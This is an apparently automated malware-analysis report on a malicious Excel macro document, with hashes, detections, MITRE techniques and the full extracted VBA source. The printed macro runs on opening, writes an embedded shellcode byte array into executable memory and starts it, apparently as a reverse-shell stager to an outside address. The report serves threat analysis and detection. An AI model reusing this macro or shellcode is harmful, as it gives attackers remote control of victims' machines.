Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 91d6223e6f9c19c7…

MALICIOUS

Office (OLE)

31.5 KB Created: 2017-08-03 00:34:24 Authoring application: Microsoft Excel First seen: 2017-08-08
MD5: 30978e2ada5febc873898b1772e2db62 SHA-1: f12d4309311c855d38bafe5ee012931daaeabbb2 SHA-256: 91d6223e6f9c19c7492637f030b333a5603d350c3fba058072d2f30b954994b4
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical ClamAV heuristic indicates this is a dropper, and the presence of VBA macros with calls to VirtualAlloc and CreateThread strongly suggests it's designed to inject and execute shellcode. The Auto_Open macro is a common technique for initiating malicious activity upon document opening. The specific ClamAV detection name provides a strong indicator of its dropper functionality.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Apqbz As Long, Svlx As Variant, Fsvgr As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3648 bytes
SHA-256: 48c400eb0bc32ce7387a7f163ebb8b9ebe85d8b675129f1107abe0f8ea820a1f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Usinfw As Long, ByVal Krd As Long, ByVal Xxcouyqe As LongPtr, Bhxsgtip As Long, ByVal Oigwtfnw As Long, Ypeyckvy As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Pysyako As Long, ByVal Fqgn As Long, ByVal Dcswhs As Long, ByVal Hbtjdy As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Ijf As LongPtr, ByRef Dhqnrrc As Any, ByVal Gsutupp As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Usinfw As Long, ByVal Krd As Long, ByVal Xxcouyqe As Long, Bhxsgtip As Long, ByVal Oigwtfnw As Long, Ypeyckvy As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Pysyako As Long, ByVal Fqgn As Long, ByVal Dcswhs As Long, ByVal Hbtjdy As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Ijf As Long, ByRef Dhqnrrc As Any, ByVal Gsutupp As Long) As Long
#End If

Sub Auto_Open()
    Dim Apqbz As Long, Svlx As Variant, Fsvgr As Long
#If VBA7 Then
    Dim Wynjx As LongPtr, Ylmyy As LongPtr
#Else
    Dim Wynjx As Long, Ylmyy As Long
#End If
    Svlx = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 255, 213, 184, 144, 1, 0, 0, 41, _
196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 5, 104, 192, 168, 14, 136, 104, 2, 0, 1, 187, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 97, 0, 0, 0, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, _
0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 34, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 233, 113, 255, 255, 255, 1, 195, 41, 198, 117, _
199, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Wynjx = VirtualAlloc(0, UBound(Svlx), &H1000, &H40)
    For Fsvgr = LBound(Svlx) To UBound(Svlx)
        Apqbz = Svlx(Fsvgr)
        Ylmyy = RtlMoveMemory(Wynjx + Fsvgr, Apqbz, 1)
    Next Fsvgr
    Ylmyy = CreateThread(0, 0, Wynjx, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub




Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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